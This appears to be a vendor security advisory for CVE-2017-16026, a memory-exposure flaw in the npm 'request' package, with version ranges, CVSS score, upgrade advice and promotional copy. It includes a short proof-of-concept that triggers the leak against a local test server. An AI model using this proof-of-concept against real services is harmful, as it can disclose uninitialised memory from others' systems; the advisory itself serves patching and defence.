CVE-2017-16026

CVE-2017-16026 is a medium-severity security vulnerability in request (npm), affecting versions >= 2.49.0, < 2.68.0. It is fixed in 2.68.0.

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Runtime intelligence, not another scanner.

Summary

Remote Memory Exposure in request

Affected versions of request will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of body is number, then a buffer of that size will be allocated and sent to the remote server as the body.

Proof of Concept

var request = require('request');
var http = require('http');

var serveFunction = function (req, res){
	req.on('data', function (data) {
            console.log(data)
        });
	res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);

request({
	method: "POST",
	uri: 'http://localhost:8000',
	multipart: [{body:500}]
},function(err,res,body){});

Update to version 2.68.0 or later

Impact

CVE-2017-16026 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.68.0); upgrading removes the vulnerable code path.

Affected versions

request (>= 2.49.0, < 2.68.0) request (>= 2.2.6, < 2.47.0)

Security releases

request → 2.68.0 (npm) request → 2.68.0 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

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Remediation advice

Upgrade the following packages to resolve this vulnerability:

request to 2.68.0 or later; request to 2.68.0 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2017-16026? CVE-2017-16026 is a medium-severity security vulnerability in request (npm), affecting versions >= 2.49.0, < 2.68.0. It is fixed in 2.68.0.
  2. How severe is CVE-2017-16026? CVE-2017-16026 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of request are affected by CVE-2017-16026? request (npm) versions >= 2.49.0, < 2.68.0 is affected.
  4. Is there a fix for CVE-2017-16026? Yes. CVE-2017-16026 is fixed in 2.68.0. Upgrade to this version or later.
  5. Is CVE-2017-16026 exploitable, and should I be worried? Whether CVE-2017-16026 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2017-16026 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2017-16026?
    • Upgrade request to 2.68.0 or later
    • Upgrade request to 2.68.0 or later

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